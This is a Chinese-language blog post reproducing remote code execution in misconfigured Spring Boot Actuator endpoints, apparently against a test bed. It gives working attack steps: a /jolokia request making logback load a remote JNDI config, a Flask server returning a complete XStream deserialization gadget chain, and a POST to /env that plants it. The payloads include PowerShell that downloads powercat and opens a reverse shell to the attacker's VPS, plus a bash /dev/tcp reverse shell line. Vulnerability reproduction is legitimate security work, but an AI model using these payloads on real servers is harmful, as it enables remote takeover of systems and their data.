Spring Boot Actuators配置不当导致RCE漏洞复现

日期: 2019-03-12 更新: 2020-04-08 分类: 漏洞复现

漏洞分析源地址:
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

关于springboot监控可以参考以下文章:
https://www.freebuf.com/news/193509.html

测试环境,原作者提供的github:
https://github.com/artsploit/actuator-testbed

复现过程:

1.Remote Code Execution via ‘/jolokia’

前置条件:
在jolokia/list目录检索存在logback组件,则可以使用jolokia远程包含logback.xml配置文件,直接执行远程引用字节码:
http://127.0.0.1:9090/jolokia/list

1)在VPS上创建logback.xml,logback中填写jndi服务,当调用时直接触发恶意class。

1
2
3
<configuration>
<insertFromJNDI env-entry-name="ldap://vps_ip:1389/jndi" as="appName" />
</configuration>

2)创建反弹shell的恶意class,并监听端口8081
javac Exploit.java -> Exploit.class

3)利用marshalsec创建jndi server地址指向恶意class监听的端口8081:

4)监听反弹shell端口:

4)访问springboot以下链接触发远程访问VPS地址logback.xml:
http://127.0.0.1:9090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/VPS地址:8080!/logback.xml
触发回显2333端口接收到主机whomai结果:

2. Config modification via ‘/env’

当第一种找不到logback配置可以尝试修改env配置文件进行xstream反序列化
前置条件:
Eureka-Client <1.8.7(多见于Spring Cloud Netflix)
比如测试前台json报错泄露包名就是使用netflix:

需要以下2个包

1
2
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)

1)在VPS创建xstream文件,使用flask返回application/xml格式数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding: utf-8 -*-
# @Time : 2019/3/12 10:06
# @Author : j1anFen
# @Site :
# @File : run.py


# linux反弹shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>powershell</string>
<string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
<string>powercat -c [vps地址] -p 2333 -e cmd</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='172.31.245.127', port=2333)

2)启动服务:

1
python3 flask_xstream.py

3)写入配置:

1
2
3
4
5
6
POST /env HTTP/1.1
Host: 127.0.0.1:9090
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

eureka.client.serviceUrl.defaultZone=http://vps:2333/xstream

刷新触发[POST]:
一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用。

获取反弹shell:

安全措施可参考:

https://xz.aliyun.com/t/2233